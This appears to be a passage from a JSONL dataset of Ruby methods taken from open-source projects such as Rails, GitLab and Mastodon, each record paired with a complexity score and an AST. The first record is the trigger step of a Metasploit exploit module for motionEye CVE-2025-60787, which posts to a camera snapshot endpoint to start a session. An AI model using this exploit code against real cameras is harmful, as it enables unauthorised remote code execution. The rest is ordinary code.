{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/motioneye_auth_rce_cve_2025_60787.rb","start_line":313,"raw_source":"def trigger_exploit(camera_id)\n    print_status('Triggering exploit...')\n\n    res = send_signed_request_cgi(\n      'uri' => normalize_uri(target_uri.path, \"/action/#{camera_id}/snapshot/\"),\n      'method' => 'POST',\n      'ctype' => 'application/json',\n      'data' => 'null'\n    )\n\n    unless res && res.code == 200\n      fail_with(Failure::UnexpectedReply, \"#{peer} Server did not respond with the expected HTTP 200\")\n    end\n\n    print_good('Exploit triggered, waiting for session...')\n  end","complexity_score":15.33,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger_exploit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"camera_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Triggering exploit...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_signed_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/action/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"camera_id\"]}]},{\"type\":\"str\",\"children\":[\"/snapshot/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"str\",\"children\":[\"null\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" Server did not respond with the expected HTTP 200\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Exploit triggered, waiting for session...\"]}]}]}]}","id":"517b94b2-3b91-455e-b59b-b11c266b259d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb","start_line":442,"raw_source":"def primary_keys(table_name) # :nodoc:\n          query_values(<<~SQL, \"SCHEMA\")\n            SELECT a.attname\n            FROM pg_index i\n            JOIN pg_attribute a\n              ON a.attrelid = i.indrelid\n              AND a.attnum = ANY(i.indkey)\n            WHERE i.indrelid = #{quote(quote_table_name(table_name))}::regclass\n              AND i.indisprimary\n            ORDER BY array_position(i.indkey, a.attnum)\n          SQL\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"primary_keys\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]}]},{\"type\":\"send\",\"children\":[null,\"query_values\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT a.attname\\n\"]},{\"type\":\"str\",\"children\":[\"FROM pg_index i\\n\"]},{\"type\":\"str\",\"children\":[\"JOIN pg_attribute a\\n\"]},{\"type\":\"str\",\"children\":[\"  ON a.attrelid = i.indrelid\\n\"]},{\"type\":\"str\",\"children\":[\"  AND a.attnum = ANY(i.indkey)\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE i.indrelid = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote\",{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]}]},{\"type\":\"str\",\"children\":[\"::regclass\\n\"]},{\"type\":\"str\",\"children\":[\"  AND i.indisprimary\\n\"]},{\"type\":\"str\",\"children\":[\"ORDER BY array_position(i.indkey, a.attnum)\\n\"]}]},{\"type\":\"str\",\"children\":[\"SCHEMA\"]}]}]}","id":"4b3f416d-18db-4a87-a754-47a50e340b43"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/application_settings_helper.rb","start_line":41,"raw_source":"def storage_weights\n    # Instead of using a `Struct` we could wrap this into an object.\n    # See https://gitlab.com/gitlab-org/gitlab/-/issues/358419\n    storages_weighted = @application_setting.repository_storages_with_default_weight\n\n    weights = Struct.new(*storages_weighted.keys.map(&:to_sym))\n    weights.new(*storages_weighted.values)\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"storage_weights\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"storages_weighted\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@application_setting\"]},\"repository_storages_with_default_weight\"]}]},{\"type\":\"lvasgn\",\"children\":[\"weights\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Struct\"]},\"new\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storages_weighted\"]},\"keys\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_sym\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"weights\"]},\"new\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storages_weighted\"]},\"values\"]}]}]}]}]}","id":"2c253549-e61f-453e-b1f1-378539e26f5b"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/attributes/normalization.rb","start_line":111,"raw_source":"def normalizes(*names, with:, apply_to_nil: false)\n          decorate_attributes(names) do |name, cast_type|\n            NormalizedValueType.new(cast_type: cast_type, normalizer: with, normalize_nil: apply_to_nil)\n          end\n\n          self.normalized_attributes += names.map(&:to_sym)\n        end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"normalizes\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"names\"]},{\"type\":\"kwarg\",\"children\":[\"with\"]},{\"type\":\"kwoptarg\",\"children\":[\"apply_to_nil\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"decorate_attributes\",{\"type\":\"lvar\",\"children\":[\"names\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"cast_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NormalizedValueType\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cast_type\"]},{\"type\":\"lvar\",\"children\":[\"cast_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"normalizer\"]},{\"type\":\"lvar\",\"children\":[\"with\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"normalize_nil\"]},{\"type\":\"lvar\",\"children\":[\"apply_to_nil\"]}]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"normalized_attributes\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_sym\"]}]}]}]}]}]}","id":"eb42afe5-a0e7-4853-afa1-b81de32bf9e5"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/return_nil.rb","start_line":85,"raw_source":"def scoped_node?(node)\n          node.any_def_type? || node.lambda?\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"scoped_node?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"any_def_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"lambda?\"]}]}]}","id":"6820a783-a9f9-4b1a-a379-e644576d91b4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/build_cancel_service.rb","start_line":11,"raw_source":"def execute\n      return forbidden unless allowed?\n      return unprocessable_entity unless build.cancelable? || (force && allowed_to_force?)\n\n      if force\n        build.force_cancel\n      else\n        build.cancel\n      end\n\n      ServiceResponse.success(payload: build)\n    end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"forbidden\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build\"]},\"cancelable?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"force\"]},{\"type\":\"send\",\"children\":[null,\"allowed_to_force?\"]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unprocessable_entity\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"force\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build\"]},\"force_cancel\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build\"]},\"cancel\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[null,\"build\"]}]}]}]}]}]}","id":"eb7ae46e-1622-470a-bcea-d9a7474ec5eb"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/navigation_menu/base.rb","start_line":91,"raw_source":"def has_no_switch_button?(key = nil)\n          if key\n            page.has_no_css?(\".sidebar__panel-switch-button[data-key='#{key.parameterize}']\")\n          else\n            page.has_no_css?(\".sidebar__panel-switch-button\")\n          end\n        end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"has_no_switch_button?\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"key\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_no_css?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".sidebar__panel-switch-button[data-key='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"parameterize\"]}]},{\"type\":\"str\",\"children\":[\"']\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_no_css?\",{\"type\":\"str\",\"children\":[\".sidebar__panel-switch-button\"]}]}]}]}","id":"eb844f6e-8a1c-48ff-b866-971c986fa150"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/service_response.rb","start_line":47,"raw_source":"def track_exception(as: StandardError, **extra_data)\n    error_tracking(as) do |ex|\n      Gitlab::ErrorTracking.track_exception(ex, extra_data)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"track_exception\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"as\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"kwrestarg\",\"children\":[\"extra_data\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error_tracking\",{\"type\":\"lvar\",\"children\":[\"as\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ex\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"track_exception\",{\"type\":\"lvar\",\"children\":[\"ex\"]},{\"type\":\"lvar\",\"children\":[\"extra_data\"]}]}]}]}","id":"4e676923-b71e-4b36-9783-fe71171beac9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/seeders/ci/runner/runner_fleet_seeder.rb","start_line":199,"raw_source":"def ensure_project(name:, namespace_id:, **args)\n            args[:description] ||= \"Runner fleet #{name}\"\n            name = generate_name(name)\n\n            project = ::Project.in_namespace(namespace_id).find_by_name(name)\n            project ||= create_project(name: name, namespace_id: namespace_id, **args)\n\n            register_record(project, @projects)\n          end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_project\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"name\"]},{\"type\":\"kwarg\",\"children\":[\"namespace_id\"]},{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"description\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Runner fleet \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[null,\"generate_name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Project\"]},\"in_namespace\",{\"type\":\"lvar\",\"children\":[\"namespace_id\"]}]},\"find_by_name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"create_project\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"lvar\",\"children\":[\"namespace_id\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_record\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"ivar\",\"children\":[\"@projects\"]}]}]}]}","id":"dd76dccc-70d0-4802-991d-c4bf51e06bd2"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/broadcast_logger_test.rb","start_line":447,"raw_source":"def add(severity, message = nil, **kwargs)\n        return super(severity, \"#{kwargs.inspect} #{message}\") if kwargs.present?\n        super\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"severity\"]},{\"type\":\"optarg\",\"children\":[\"message\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"severity\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"f3133bf4-1333-4ccd-8688-742f73f38681"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/open_issues_count_service.rb","start_line":27,"raw_source":"def uncached_count\n      return super unless @fast_timeout\n\n      ApplicationRecord.with_fast_read_statement_timeout do # rubocop:disable Performance/ActiveRecordSubtransactionMethods -- this is called outside a transaction\n        super\n      end\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"uncached_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fast_timeout\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationRecord\"]},\"with_fast_read_statement_timeout\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"zsuper\",\"children\":[]}]}]}]}","id":"61a71cf2-d2ac-4b32-abf4-e7d4cd0d5869"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/fixtures_test.rb","start_line":890,"raw_source":"def setup\n    # other tests in this file load the parrots fixture but not the treasure one (see `test_create_fixtures`).\n    # this creates FK violations since Parrot and ParrotTreasure records are created.\n    # those violations can cause false positives in these tests. since they aren't related to these tests we\n    # delete the irrelevant records here (this test is transactional so it's fine).\n    Parrot.all.each(&:destroy)\n\n    @path = \"/fk_pointing_to_non_existent_object.yml\"\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Parrot\"]},\"all\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@path\",{\"type\":\"str\",\"children\":[\"/fk_pointing_to_non_existent_object.yml\"]}]}]}]}","id":"62c6c26f-b8e2-4df6-9363-f9edab8304e5"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/accounts_controller.rb","start_line":74,"raw_source":"def unblock\n    UnblockService.new.call(current_user.account, @account)\n    render json: @account, serializer: REST::RelationshipSerializer, relationships: relationships\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"unblock\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UnblockService\"]},\"new\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"account\"]},{\"type\":\"ivar\",\"children\":[\"@account\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"ivar\",\"children\":[\"@account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serializer\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REST\"]},\"RelationshipSerializer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relationships\"]},{\"type\":\"send\",\"children\":[null,\"relationships\"]}]}]}]}]}]}","id":"685d15f5-dd50-4c71-aa0b-d591d27d1412"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/rails/routes/mapping.rb","start_line":9,"raw_source":"def initialize\n          @controllers = {\n            authorizations: \"doorkeeper/authorizations\",\n            applications: \"doorkeeper/applications\",\n            authorized_applications: \"doorkeeper/authorized_applications\",\n            tokens: \"doorkeeper/tokens\",\n            token_info: \"doorkeeper/token_info\",\n          }\n\n          @as = {\n            authorizations: :authorization,\n            tokens: :token,\n            token_info: :token_info,\n          }\n\n          @skips = []\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@controllers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authorizations\"]},{\"type\":\"str\",\"children\":[\"doorkeeper/authorizations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"applications\"]},{\"type\":\"str\",\"children\":[\"doorkeeper/applications\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authorized_applications\"]},{\"type\":\"str\",\"children\":[\"doorkeeper/authorized_applications\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tokens\"]},{\"type\":\"str\",\"children\":[\"doorkeeper/tokens\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token_info\"]},{\"type\":\"str\",\"children\":[\"doorkeeper/token_info\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@as\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authorizations\"]},{\"type\":\"sym\",\"children\":[\"authorization\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tokens\"]},{\"type\":\"sym\",\"children\":[\"token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token_info\"]},{\"type\":\"sym\",\"children\":[\"token_info\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@skips\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"ec0375f1-b3d0-4e45-85a7-e35811ae6bca"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241203074402_add_issue_metrics_namespace_id_fk.rb","start_line":11,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key :issue_metrics, column: :namespace_id\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"issue_metrics\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]}]}]}]}]}","id":"77ed291f-3dcc-4ce5-9515-567bd6ada1de"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/content_type_test.rb","start_line":91,"raw_source":"def test_content_type_from_body\n    get :render_content_type_from_body\n    assert_equal Mime[:rss], @response.media_type\n    assert_equal \"utf-8\", @response.charset\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_content_type_from_body\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"render_content_type_from_body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mime\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rss\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"media_type\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"utf-8\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"charset\"]}]}]}]}","id":"7154f37b-c838-47d9-bba1-ddb62bac1013"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/configurable.rb","start_line":196,"raw_source":"def dump_config_definition\n        configure_proxy_map[self.to_s].dump_config_definition\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"dump_config_definition\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configure_proxy_map\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"to_s\"]}]},\"dump_config_definition\"]}]}","id":"81197e3d-bd46-4180-a37b-ebe4cc0159a1"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/open_project/reporting/cost_entry_xls_table.rb","start_line":82,"raw_source":"def cost_row(result)\n    current_cost_type_id = result.fields[\"cost_type_id\"].to_i\n    # TODO: What would be the correct way here?\n    result.fields[\"entity_gid\"] = result.entity_gid\n\n    cost_main_columns(result)\n      .concat(cost_fields_columns(result))\n      .push(\n\n        show_result(result, current_cost_type_id), # units\n        cost_type_label(current_cost_type_id, @cost_type), # cost type\n        show_result(result, 0) # costs/currency\n\n      )\n  end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cost_row\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_cost_type_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"fields\"]},\"[]\",{\"type\":\"str\",\"children\":[\"cost_type_id\"]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"fields\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"entity_gid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"entity_gid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cost_main_columns\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},\"concat\",{\"type\":\"send\",\"children\":[null,\"cost_fields_columns\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},\"push\",{\"type\":\"send\",\"children\":[null,\"show_result\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"current_cost_type_id\"]}]},{\"type\":\"send\",\"children\":[null,\"cost_type_label\",{\"type\":\"lvar\",\"children\":[\"current_cost_type_id\"]},{\"type\":\"ivar\",\"children\":[\"@cost_type\"]}]},{\"type\":\"send\",\"children\":[null,\"show_result\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}","id":"34049828-45d4-47dc-b52f-42a2be013b74"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/work_packages/eager_loading/historic_attributes.rb","start_line":158,"raw_source":"def timestamp\n      new_record? ? @timestamp : Timestamp.parse(__getobj__.timestamp)\n    end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"timestamp\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_record?\"]},{\"type\":\"ivar\",\"children\":[\"@timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timestamp\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__getobj__\"]},\"timestamp\"]}]}]}]}","id":"1a86fa35-0414-4c84-b14d-fbed1589e4d2"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/zip.rb","start_line":19,"raw_source":"def run\n          UI.message(\"Compressing #{path}...\")\n\n          create_output_dir\n          run_zip_command\n\n          UI.success(\"Successfully generated zip file at path '#{output_path}'\")\n          output_path\n        end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Compressing 